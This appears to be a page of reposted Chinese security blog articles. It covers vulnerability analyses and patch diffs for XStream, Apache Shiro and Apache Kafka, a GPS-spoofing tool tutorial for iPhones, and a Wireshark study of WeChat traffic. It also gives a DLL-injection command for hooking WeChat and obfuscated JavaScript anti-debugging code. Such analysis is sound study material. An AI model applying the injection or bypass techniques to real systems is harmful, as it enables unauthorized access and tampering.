包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

2.1.3 漏洞利用条件

2.1.4 影响版本

影响版本:XStream = 1.4.10

2.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

2.2 漏洞复现

2.2.1 拓扑图

image

2.2.2 应用协议

8080/HTTP

2.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

2.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

2.3 漏洞分析

2.3.1 代码分析

CVE-2019-10173漏洞与CVE-2013-7285漏洞原理相同,由于在XStream的安全模式默认不启动,导致防御失效。

Xstream 1.4.7对于漏洞的防御措施

通过在

com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类

image

Xstream 1.4.10漏洞产生原因

在com.thoughtworks.xstream.converters.reflection.ReflectionConverter类中,canConvert方法中的type != eventHandlerType被删除了,使得原来的漏洞利用方式可以再次被利用。

由于在Xstream1.4.10中的com.thoughtworks.xstream.XStream类增加了setupDefaultSecurity()方法和InternalBlackList转换器,通过黑名单的形式对漏洞进行防御。但是安全模式默认不开启,必须在初始化后才可以使用,eg:XStream.setupDefaultSecurity(xStream)。导致防御失效,造成漏洞的第二次出现。

image

image

2.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

2.3.3 漏洞防御

在Xstream1.4.11中的com.thoughtworks.xstream.XStream类中InternalBlackList类会对java.beans.EventHandler进行过滤,java.beans.EventHandler执行marshal或者unmarshal方法时,会抛出异常终止程序。

image

3 XStream 远程代码执行漏洞

3.1 漏洞信息

3.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2020-26217

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:无, CVSS v3.0:8.0

● 漏洞危害等级:高危

3.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

3.1.3 漏洞利用条件

3.1.4 漏洞影响

影响版本:XStream = 1.4.13

3.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

3.2 漏洞复现

3.2.1 环境拓扑

image

3.2.2 应用协议

8080/HTTP

3.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

3.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

3.3 漏洞分析

3.3.1 代码分析

代码分析:传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

在DefaultMapper中,通过反射,获取到string标签传入的class,并将类存入realClassCache对象中。

image

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器ReflectionConverter中canConvert方法判断,传入的type非null,返回true,表示可以使用ReflectionConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素iter java.util.ArrayList$Itr。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取iter标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,使用选中的ReflectionConverter转换器进行解组。

image

使用ReflectionConverter convert处理java.util.ArrayList$Itr ,在duUnmarshal()方法获取cursor标签和cursor标签下的参数。(调用unmarshallField方法,与上述流程相似)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

回到AbstractReflectionConverter#doUnmarshal方法中获取后续的标签及其参数(分别为lastRet,expectedModCount,outer-class)。

image

按照同样的反序列化流程获取属性值,并写入对象。

image

解析outer-class标签,由于type是java.util.ArrayList,选择转换器是CollectionConverter。

image

调用CollectionConverter#unmarshal方法进行反序列化。

image

调用CollectionConverter#populateCollection -> CollectionConverter#addCurrentElementToCollection->AbstractCollectionConverter#readItem方法。最终调用realClass方法获取type类,获取过程中将outer-class标签下的子标签存入realClassCache中。

image

回到AbstractCollectionConverter#readBareItem方法调用convertAnother方法,按照之前的流程进行反序列化,为属性赋值,并写入对象。

image

最终返回ProcessBuilder对象,写入FilterIterator对象中。

image

在按照获取java.util.ArrayList$Itr对象相同的流程获取javax.imageio.ImageIO$ContainsFilter对象,通过反序列化为其内部的method属性和name属性进行赋值。

在选择转换器的过程中,由于method属性的类型是java.lang.reflect.Method,因此选择对应的转换器为JavaMethodConverter。

image

调用JavaMethodConverter#unmarshal方法进行xml数据解析,获取java.lang.processBuilder类中的start方法对象,写入到javax.imageio.ImageIO$ContainsFilter对象中。

image

再按照相同的流程,将start方法名写入name属性中。

image

将FilterIterator对象返回给最初的iterator对象中。

image

调用iterator.next()方法时,会调用其实现类FilterIterator中的next方法。

image

进入调用advance方法,调用filter方法时,会通过反射执行ProcessBuilder对象中的start方法,从而造成代码执行。

image

image

3.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

3.3.3 漏洞防御

XStream1.4.14版本中,在com.thoughtworks.xstream.XStream的黑名单添加java.lang.ProcessBuilder和javax.imageio.ImageIO$ContainsFilter。从而防御了此漏洞。

image

参考链接

  1. https://blog.csdn.net/yaomingyang/article/details/80981004
  2. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_6...XSTREAM_1_4_7
  3. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_10...XSTREAM_1_4_11
  4. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_13...XSTREAM_1_4_14

Apache Shiro身份验证绕过漏洞(CVE-2022-40664)

Apache Shiro身份验证绕过漏洞(CVE-2022-40664)

本文转自 安博通 并作补充

漏洞信息

CVE编号:CVE-2022-40664

CNVD编号:CNVD-2022-68497

Apache Shiro是一款功能强大且易于使用的Java安全框架,主要包含身份验证、授权、加密和会话管理等功能,可用于保护任何应用程序。

  • 身份验证:用户登录
  • 授权:访问控制
  • 加密:保护或隐藏数据不被窥探
  • 会话管理:管理每个用户的状态

Apache Shiro身份验证绕过漏洞,是通过RequestDispatcher转发或包含时Shiro中的身份验证绕过而产生的漏洞。在Apache Shiro 1.10.0之前,攻击者可构造恶意代码利用该漏洞绕过shiro的身份验证,从而获取用户的身份权限。

影响范围

Apache Shiro < 1.10.0

修复建议

直接升级,升级补丁链接如下:

https://shiro.apache.org/download.html

安全防护

该漏洞是代码中函数逻辑问题导致的。当代码中存在一些特殊的调用和逻辑时,就可能触发该漏洞,因此远程请求是合法请求,没有恶意特征,安全厂商暂无法提取规则。

漏洞研究

漏洞复现

问题复现demo代码。

image

两个URL分别为/permit/{value}和/filterOncePerRequest/{value} 。

请求/permit/{value}时,被要求鉴权并拒绝。

image

请求/filterOncePerRequest/{value}时,成功绕过鉴权。

image

代码研究

Shiro 1.9(漏洞版本)和1.10(修复后版本),修改点在org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter处,修改前1.9版本如下:

image

修改后1.10版本如下:

image

显然在判断request.getAttribute(alreadyFilteredAttributeName) 不为空的同时,添加了必须保证filterOncePerRequest也为True的条件。

从上面代码可以看出,在该请求处理过第一次之后,为请求添加了属性shiroFilter.FILTERED=true,在第二次forward请求进来时,会进到第一个if,跳过本Filter的执行。这种处理方式可能就是漏洞产生的原因。

在改动处打断点并debug,发送如下请求:

1
2
3
4
5
6
7
8
GET /filterOncePerRequest/any HTTP/1.1
Host: 172.31.1.101:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

经过判断,被判定为Filter ‘{}’ not yet executed. Executing now,表明该请求并没有进入过滤器。

image

如代码所示,发送GET /filterOncePerRequest/any请求后,会使用内部forward命令,再次发起GET /permit/any请求。

image

这时发现对于forward请求拦截器根本不会拦截,由此可见漏洞原因确实如前文所述:在该请求处理第一次后,为请求添加了属性shiroFilter.FILTERED=true,在第二次forward请求进来时,会进到第一个if,跳过本Filter的执行,直接绕过了filter拦截器。

原因分析

因为代码逻辑存在漏洞,1.10.0之前的版本在请求forward时不进行拦截鉴权,导致在代码里存在对请求进行forward处理时,对应请求会绕过鉴权的问题。

CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

本文转自 hahaha123 并作补充

一、漏洞成因

该漏洞源于Apache Kafka Client在配置SASL/OAUTHBEARER连接时,对sasl.oauthbearer.token.endpoint.url和sasl.oauthbearer.jwks.endpoint.url参数的安全控制存在缺陷。攻击者可通过构造恶意URL参数,利用该缺陷实现任意文件读取或发起SSRF请求(访问非预期目标地址)。

二、影响版本

3.1.0 <= Apache Kafka <= 3.9.0

三、漏洞复现

image

image

四、漏洞分析

根据漏洞触发点所对应的路由 connectors,可定位至以下相关代码:

image

147-152行代码对传入的信息处理,以及创建示例等,漏洞入口是:

1
herder.putConnectorConfig(name, configs, createRequest.initialTargetState(), false, cb);

继续跟进putConnectorConfig方法,
这里会跟到两个类:StandaloneHerderDistributedHerder,之前说的修复点也确实是这里,基本可以确定这是入口点,我们看DistributedHerder

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public void putConnectorConfig(final String connName, final Map config, final TargetState targetState,
final boolean allowReplace, final Callback&gt; callback) {
log.trace("Submitting connector config write request {}", connName);
addRequest(
() -&gt; {
doPutConnectorConfig(connName, config, targetState, allowReplace, callback);
return null;
},
forwardErrorAndTickThreadStages(callback)
);
}

继续跟进doPutConnectorConfig方法,这里的config,就是先前connector路由传的json数据

image

然后跟进validateConnectorConfig方法

image

image

进入validateConnectorConfig方法,到现在,逻辑检验都是普通的,所以就不多赘述了,继续跟进

image

调用了:

1
2
3
protected Connector getConnector(String connType) {
return tempConnectors.computeIfAbsent(connType, k -&gt; plugins().newConnector(k));
}

利用 plugins().newConnector() 动态加载类,例如:MirrorSourceConnector

image

这里可以看到根据json数据的config[‘‘]=*.MirrorSourceConnector调用MirrorSourceConnector这个Connector用于后续的执行

后续跟进的话可以看到通过反射调用Connector:

1
Class&lt;?&gt; klass = loader.loadClass(classOrAlias, false);

回到AbstractHerder类,继续分析接下来的逻辑

image

接下来就是确定connectorType为sink or source,然后对数据进行处理等,可以自己看

image

java config = connector.validate(connectorProps);
跟进:

1
2
3
4
5
6
7
8
@Override
public org.apache.kafka.common.config.Config validate(Map props) {
List configValues = super.validate(props).configValues();
validateExactlyOnceConfigs(props, configValues);
validateEmitOffsetSyncConfigs(props, configValues);

return new org.apache.kafka.common.config.Config(configValues);
}

接下来进入到validate验证阶段,这里就很绕了,我们知道是MirrorSourceConnector这个Connector创建了Tasks,所以他肯定要进到这个方法

image

可以看到过了validate初始验证,进入到start方法,继续跟进,由于漏洞触发点是认证相关,我们断点在认证的各个方法,一个一个看

image

这里进入到认证阶段forwardingAdmin

image

实例化ForwardingAdmin实现类

image

通过json数据中的值:

1
2
3
"****": "SASL_PLAINTEXT",
"****": "OAUTHBEARER",
"****": "****.OAuthBearerLoginCallbackHandler",

来调用相关认证方法,然后调用create方法(漏洞触发点)

image

通过

1
URL tokenEndpointUrl = cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL);

获取json中的sasl.oauthbearer.token.endpoint.url,继续跟进

image

这里可以看到java accessTokenRetriever.retrieve();返回了文件信息,我们向上追踪

image

发现需要传参,全局搜new FileTokenRetriever(

image

发现就在Create方法内,尴尬……

好,利用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[1] 用户提交 Connector 配置请求(HTTP API)
|
|--&gt; REST API: Connect REST `/connectors` 接口处理 connector 配置
|
[2] WorkerConfig / ConnectorConfig 解析配置(Map)
|
[3] validateConnectorConfig(...) 进行 connector 配置验证
|
[4] connector.config() -&gt; 返回 ConfigDef
|
|--&gt; connector.validate(...)(触发 MirrorSourceConnector.validate())
|
|--&gt; validateExactlyOnceConfigs(...)
|--&gt; validateEmitOffsetSyncConfigs(...)
|
[5] connector.start(props)
|
|--&gt; new MirrorSourceConfig(props)
|
|--&gt; super(props) --&gt; AbstractConfig 初始化
|
|--&gt; createAdmin(...)(构造 ForwardingAdmin)
|
|--&gt; forwardingAdmin(config)
|
|--&gt; get(FORWARDING_ADMIN_CLASS)
|--&gt; Utils.newParameterizedInstance(...)
|
|--&gt; KafkaMirrorMakerClientBasedAdmin.create(...)
|
|--&gt; OAuthBearerLoginModule / SaslClientAuthenticator 初始化
|
|--&gt; AccessTokenRetriever.create(...)
|
|--&gt; cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL)
|
|--&gt; protocol == "file" ?
--&gt; new FileTokenRetriever(Path)
|
|--&gt; init()
|
|--&gt; Utils.readFileAsString(path)
|
|--&gt; Files.readAllBytes(...)

查看文件结果看这个路由:

image

获取statusBackingStore中对应Connector的tasks,结果就在tasks[‘trace’]里,可以自己看看这个的逻辑,这里就不多说了

环境搭建

下载3.9.0源码包
gradle构建一下,然后运行命令:

1
2
3
./bin/zookeeper-server-start.sh config/zookeeper.properties
./bin/kafka-server-start.sh config/server.properties
./bin/connect-distributed.sh config/connect-distributed.properties

这里的connect-distributed.sh如果需要用idea调试的话,最好在里面加上debug,用idea的jvm连接

五、修复方式

Standalone模式:修改connect-standalone.properties中的listeners或rest.host.name字段Distributed模式:修改connect-distributed.properties中的listeners或rest.host.name字段使用流量防护设备(如WAF、防火墙)拦截/connectors接口请求中携带敏感文件路径的恶意流量

END

DIFF一下,一眼就能发现3.9.1对uri进行了校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
// AccessTokenRetrieverFactory.java
public static AccessTokenRetriever create(Map<String, ?> configs, Map<String, Object> metadata) {
ConfigurationUtils cu = new ConfigurationUtils(configs);
cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL); // 新增校验
// ...原有逻辑
}

// VerificationKeyResolverFactory.java
public static VerificationKeyResolver create(Map<String, ?> configs) {
ConfigurationUtils cu = new ConfigurationUtils(configs);
cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_JWKS_ENDPOINT_URL); // 新增校验
// ...原有逻辑
}

漏洞点就是这个。好啦,结束。高中生,菜勿喷。

iPhone 定位怎么改?教你用 iToolab AnyGo更改目前 GPS 位置 (免越狱)

iPhone 定位怎么改?教你用 iToolab AnyGo更改目前 GPS 位置 (免越狱)

本文转自 分治实践 并作补充

如果你希望能更改iPhone 目前位置的定位,或者想呈现出iPhone GPS 定位在两点、多点之间移动的感觉,那么本篇要介绍的这款定位修改软体 iToolab AnyGo就是一个很棒的选择。

iToolab AnyGo 支持Mac 及Windows,只要在电脑上设定好即可免越狱快速更改iPhone/iPad 目前位置及移动路线

image

iToolab AnyGo 功能

  • 传送模式:一键更改iPhone/iPad GPS 定位
  • 两点路线:设定A 点及B 点,并自动移动位置
  • 多点移动:设定多个地点,并自订移动位置
  • Joystick 直控移动:使用左下角的摇杆直接控制即时移动方向
  • GPX 档汇入:可汇入GPX 路径档,模拟既定路线
  • 支持多部iOS 设备:可同时修改或模拟多台iPhone 的路线
  • 支持Windows、Mac

如何通过iToolab AnyGo 更改iPhone/iPad GPS 定位?

下载iToolab Anygo

在开始使用前,请前往iToolab 官网下载「AnyGo」应用程式,无论你的电脑是Mac 或Windows 都可以下载相对应的版本。

下载完成后,开启AnyGo,直接点选「开始」。

image

连接iOS 设备与电脑

接着,使用传输线将iOS 设备与电脑连接起来,并解锁iPhone 或iPad。

image

AnyGo 基本功能介绍

进到AnyGo 主画面后,会先显示你目前的位置。接着来介绍一下主画面的基本功能,上方功能列上可以切换三种不同的更改定位模式,包含:单点传送、两点移动与多点路线

而下方可以让我们自由调整定位的移动速度,从步行到开车。

image

如何更改iPhone/iPad 单点定位?

步骤 1

如果你现在是在A点,你想直接将目前的iPhone 定位瞬间切换到B点,那么这时候就适合使用单点传送。首先请将模式切换到「传送模式」,然后输入你想前往的位置并选择正确的地点后,按一下「搜索」。

地图上的图钉会移动到该地方,确认后按一下「移动」。

image

步骤 2

然后地图上的定位就会瞬间移动到你所设定的地点,此时你可以开启iPhone 的地图App或Google Maps,你会发现自己的目前位置、GPS 定位也都换成该地点。

这样就完成了单点的iPhone 定位修改。

image

如何让iPhone/iPad GPS 定位在两点移动?

步骤 1

如果你想营造出iPhone 定位从A点慢慢移动至B点的感觉,那么请切换到中间的「两点路线」模式。然后一样输入你想前往的地点后,按一下「移动」。

记得底部可以更改移动的速度,看你希望是步行或者开车的速度。

image

步骤 2

然后这边会显示从A点到B点的移动距离及移动时间,甚至你也可以更改次数来重复来回移动,确认后点选「移动」。

image

步骤 3

最后,AnyGo 地图上就会显示你正在朝着B点移动的画面,此时若你开启iPhone 的地图App或Google Maps,也会发现自己的定位正在移动中。

image

如何让iPhone/iPad 定位在多点移动?

步骤 1

如果两点移动还不够的话,我们也可以在AnyGo 中使用多点移动,自由指定多种路线与地点。首先请将模式切换到「多点路线」。

image

步骤 2

然后直接在地图上按一下你要走的路线,像下图这样,最后确定目的地后,点选「移动」即可开始更改定位。

image

步骤 3

地图上及iPhone 定位就会照着你设定的路线在多点间移动。如果你开启iPhone 上的地图App(Apple 地图或Google 地图),也会看到目前位置正在朝你指定的路线移动。

image

如何使用Joystick 直控移动?

除了手动输入地点来更改iPhone 位置之外,我们也可以使用软体内建的「Joystick 直控移动」功能,直接操控左下角的摇杆来即时控制移动方向,不仅比较即时,也能做到比较细微的方向变化,对玩家来说相当实用。

image

控制时,iPhone 的定位也会自动跟着你所控制的方向来移动。

image

如何同时更改多部iOS 设备的定位?

AnyGo 甚至还支持同时更改多部iPhone 的定位,一样先将其他部iPhone 与电脑连接起来,然后点选AnyGo 右下方的「手机」图示即可侦测,接着在「多设备管理」这边就会出现所有的iOS 设备。

完成后设定你想更改的定位并开始移动。

image

例如我将iPhone 11 与iPhone 8 都连接到电脑,并在AnyGo 内设定好想移动的路线,开始移动后这两支iPhone 就会同时更改定位,相当强大。

image

总结

iToolab AnyGo 这款iPhone、iPad 定位修改软体能让我们自由地更改GPS 定位,无论是要瞬间将位置改到另一个地点,或者希望有两点或多点移动,这款软体都很容易操作,使用上也很简单

基于wireshark对网页版微信抓包和ios微信抓包分析

基于wireshark对网页版微信抓包和ios微信抓包分析

本文转自 hjsz 并作补充

网页版微信

分析过程

  • 先查看本机的IP地址

image

  • 打开浏览器准备登录微信网页版。扫码的时候查看抓的包,其中有个DNS数据包询问extshaort.weixin.qq.com的IP地址。

    image

    • 查看这个报文的具体内容,发现这是一个DNS查询报文,DNS查询报文为标准查询即通过主机名查询对应的IP

      image

    • 查询本机网络信息得知,本地DNS服务器地址为192.168.31.1

      image

    • 下面是DNS回复报文,从DNS回复报文中可以看出网页版微信的IP地址有多个,为了应对大流量的访问包括避免宕机影响业务,大企业或者大型服务都会有多个服务器。

      image

    • 从接下来的报文中可以看出用户选择了223.166.152.101这个服务器进行访问连接。因为DNS查询后有一定数量的TCP数据包是本机与223.166.152.101之间的

      image

  • 分析上述提到的TCP数据包(三次握手过程)

    • 从下图流量包看到了源IP是本机IP,目的IP为DNS返回的其中一个IP。分析TCP报文内容,看到了目的Port为80即常见的HTTP协议的端口。然后标志位 SYN置1,为TCP三次握手中的第一步。说明本机正常通过TCP与微信的服务器建立连接。

      image

    • 下图流量包是服务器回复的报文。其中确认号ACK=x+1,x为请求报文中的0,syn = 1,表示客户端的请求报文有效,服务器可以正常接收客户端发送的数据,同意创建与客户端的的新连接。

      image

    • 客户端收到服务器回复的报文后得知服务器允许建立连接,此时客户端还会再发送一个TCP报文,这个数据包的seq = x+1=1,ack还是为1。表明可以建立连接了。接下来的就是双方的数据传输。

      image

  • 三次握手后建立连接后客户端向服务器发送了一个 HTPP post报文,客户端开始提交数据。看HTTP的内容,request URI,而这个URI为…./getloginqrcode,是微信登录的二维码。

    image

    image

  • 扫码登录

    • 登录后有大量的TCP数据包及HTTP POST和HTTP响应数据包。从这里可以看出这时候与登录前的服务器IP不同,但是都是之前DNS返回的IP之一。这种大型业务不同的服务器承载着不同的业务需求。

      image

    • 客户端向微信服务器请求同步数据等数据传输的HTTP。

      image

      image

  • 加密协议。微信使用了应用层与传输层之间的SSL/TLS协议进行数据加密。

    • Client Hello开始客户端向服务器发送建立连接的请求:(版本号,随机数等)

      image

      image

  • Server Hello,根据请求中携带的内容建立连接版本,加密套件,生成服务器端随机数。

    image

  • 服务器向用户发送由CA签发的证书,验证身份。(Certificate,server Key exchange等)

    image

    image

  • Change Cipher Spec(通知)

    image

  • 通信建立

  • 消息测试

    • 给好友传一张照片

    • 抓包发现还是原来的建立通信的过程

      image

    • 抓包发现了HTTP请求报文,是关于uploadmsgimg的,即上传图片。

      image

IOS端微信抓包分享

开始进行了网页端的微信抓包分析,正好手头有个IPAD,就试了一下IOS端的,还请各位多多指教

分析

  • 用PC作为一个无线AP,让移动端接入。查看移动端的IP和MAC地址。

    image

  • 将wireshark绑定在这个无线接口,进行抓包分析。还是先通过DNS查找微信的服务器IP。IP地址和之前的类似。116.128开头。

    image

  • 获得登录二维码,在获得二维码过程中,终端和121.51.73.100进行了大量的TCP通信。

    image

    • 观察其中一个报文,发现了之前不太了解的字段SACK。在网上查找相关知识,得知这个字段可以告诉发送方哪些报文段丢失,哪些报文段重传。根据这些信息,发送方可以重传这些真正丢失的字段。

      image

  • 登录。经过网上查找发现微信客户端用的是自己改进的mmtls协议。也抓到了相关的mmtls POST数据包。

    • 在刷新微信列表的时候发现有大量的TCP包和其中的HTTP请求包。以下面这个为例:
      开始有个HTTP Get,应该是下载某个数据,然后服务器向用户发送多个TCP 后,最后接上一个HTTP OK(JPEG JFIF Image)。

      image

    • 一般来说TCP可以发1500个字节,减去40字节的头文件就还有1452个字节,所以一般大于1452TCP也会分段。如上图,一个TCP中包含1440字节数据。
      TCP segment of a reassembled PDU,TCP层收到上层大块报文后分解成段后发出去。

      image

    • 比如下面几个报文的ACK是相同的,正是分段后的结果。

      image

    • 下图是最后的HTTP OK报文,其中包含了之前6个TCP的数据,让我想起了之前做的IP分片,最后也是ICMP重组所有分片。

      image

    • 看到JPEG就知道应该是关于图像数据的GET传输,找到最后的HTTP OK 报文。找到了JPEG File数据段。当时看到了开头的FF D8,就抱着试试看的态度去找了一下JPEG文件的文件格式,发现正是是开头FF D8,结尾是FF D9,数据段也符合。就想着将数据取出生成JPEG文件。

      image

      image

    • 用python将Hex 串写入一个文件并以图片形式存储到本地。

      1
      2
      3
      4
      5
      6
      7
      8
      import binascii
      # payload为十六进制字符串,如:“ffd8ffe111e0457869...”;经过如下代码转换,可将pic存储为图片形式并可以正常打开
      filepath = "C:\\Users\\14112\\Desktop\\yang\\a.jpg"
      payload = "FF D8......FF D9" #只取了文件头和尾,数据太长
      f=open(filepath,"ab") # filepath为你要存储的图片的全路径
      pic = binascii.a2b_hex(payload.encode())
      f.write(pic)
      f.close()
    • 发现生成的图片可以打开

      image

  • 生成了上述图片就去微信列表找头像,发现下面这个群头像正是从抓到的报文中提取出的十六进制数据生成的。

    image

  • 了解到微信使用的是基于TLS的mmtls,能力有限,就不再分析腾讯未公开的协议了。原有的加密是存在业务层,加密的是请求包主体,但是数据包包头是明文,其中还包括用户的id等信息,而且加密的安全性也都待加强,所以腾讯开发了保护Client到Server之前所有网络通信数据、而且加密通信保护对业务开发人员透明的安全通信协议即mmtls。

总结

  • 现在我们使用的PC以及移动网络设备每时每刻都运行着各种服务,也和非常多的服务器之间进行数据包的传输,但是基本离不开TCP/IP 还有HTTP等常见的协议。感觉在真实的网络环境抓包比在GNS3上最难的就是无法排除其他服务数据包的干扰,在本机可能一打开wireshark就出现了大量的数据包,所以这时候wireshark使用技巧就尤为重要,学会过滤报文。
    分析微信的通信过程中服务器的IP会发送变化,也许是不同的业务使用不同的服务器,开始的时候需要分析DNS,因为开始主机会查询相关服务器的IP地址,从DNS中也可以看出一项大型服务会使用多个服务器,多个IP来保证业务正常。Web版应用基于TLS的加密也表现了web版应用存在一定不安全性。通过协议分析和实操也发现了自己真的很菜,还有很多要做要学的。

微信3.9.8.25机器人(Hook注入)搭建教程文档

微信3.9.8.25机器人(Hook注入)搭建教程文档

本文转自 唯一Chat 并作补充

开源地址

https://github.com/ttttupup/wxhelper 微信破解dll

https://github.com/nefarius/Injector 注入工具

https://github.com/tom-snow/wechat-windows-versions/releases 微信历史版本

基本原理

启动指定版本PC微信以后,利用注入程序将dll文件注入到微信进程内,可以截获所有的新消息,传递给外部接口,并提供发送消息的端口供外部程序调用。

安装微信

请安装资源包中提供的指定版本微信

安装完成后,请图标上右键【以管理员身份运行】启动微信,正常扫码登录微信

注入微信进程

点击电脑左下角启动图标,搜索【cmd】,点击【以管理员身份运行】

切换到程序包目录下,比如程序包目录在 D:\software

先切换到D盘,输入D:

1
C:\Windows\System32>D:

再切换到software ,输入 cd software

1
D:\>cd software

粘贴并运行以下命令

1
Injector.exe -n WeChat.exe -i  wxhelper3.9.8.25.dll

以上操作完成后,微信进程会提供出收发消息接口

自行开发监听程序收取消息,处理消息和发送消息

接口文档

https://github.com/ttttupup/wxhelper/blob/main/doc/3.9.5.81.md

禁止别人调试自己前端代码的 5 种方法

禁止别人调试自己前端代码的 5 种方法

本文转自 Toypipi 并作补充

无限 debugger

前端页面防止调试的方法主要是通过不断 debugger 来疯狂输出断点,因为 debugger 在控制台被打开的时候就会执行。由于程序被 debugger 阻止,所以无法进行断点调试,所以网页的请求也是看不到的。 以下是使用无限 debugger 方式阻止代码调试的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 基础禁止调试代码
*/
(() => {
function ban() {
setInterval(() => {
debugger;
}, 50);
}
try {
ban();
} catch (err) {}
})();

不过,如果仅仅是加上面那么简单的代码,对于一些技术人员而言作用不大。可以通过控制台中的 Deactivate breakpoints 按钮或者使用快捷键 Ctrl + F8 关闭无限 debugger。这种方式虽然能去掉碍眼的 debugger,但是无法通过左侧的行号添加 breakpoint。

禁止断点的对策

如果将 setInterval 中的代码写在一行,就能禁止用户断点,即使添加 logpoint 为 false 也无用。当然即使有些人想到用左下角的格式化代码,将其变成多行也是没用的。

1
2
3
4
5
6
7
8
9
10
(() => {
function ban() {
setInterval(() => {
debugger;
}, 50);
}
try {
ban();
} catch (err) {}
})();

忽略执行的代码

可以通过添加 add script ignore list 需要忽略执行代码行或文件,也可以达到禁止无限 debugger。 不过,我们可以通过将 debugger 改写成 Function (“debugger”)(); 的形式来应对,Function 构造器生成的 debugger 会在每一次执行时开启一个临时 js 文件。当然使用的时候,为了更加的安全,最好使用加密后的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 加密前
(() => {
function ban() {
setInterval(() => {
Function("debugger")();
}, 50);
}
try {
ban();
} catch (err) {}
})();

// 加密后
eval(
(function (c, g, a, b, d, e) {
d = String;
if (!"".replace(/^/, String)) {
for (; a--; ) e[a] = b[a] || a;
b = [
function (f) {
return e[f];
},
];
d = function () {
return "w+";
};
a = 1;
}
for (; a--; )
b[a] && (c = c.replace(new RegExp("\b" + d(a) + "\b", "g"), b[a]));
return c;
})(
'(()=>{1 0(){2(()=>{3("4")()},5)}6{0()}7(8){}})();',
9,
9,
"block function setInterval Function debugger 50 try catch err".split(" "),
0,
{}
)
);

终极增强防调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
